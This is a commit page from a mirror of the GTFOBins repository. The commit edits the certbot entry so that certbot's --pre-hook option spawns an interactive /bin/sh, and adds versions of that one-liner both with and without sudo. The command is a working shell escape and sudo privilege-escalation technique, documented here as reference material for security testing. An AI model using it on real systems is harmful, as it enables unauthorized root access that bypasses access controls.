mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Promote certbot command to shell
This commit is contained in:
parent
160e8d5dcd
commit
a02e1a1194
@ -1,9 +1,11 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
sudo:
|
shell:
|
||||||
- description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
|
- code: |
|
||||||
code: |
|
|
||||||
COMMAND='id'
|
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp -d)
|
||||||
sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"
|
certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user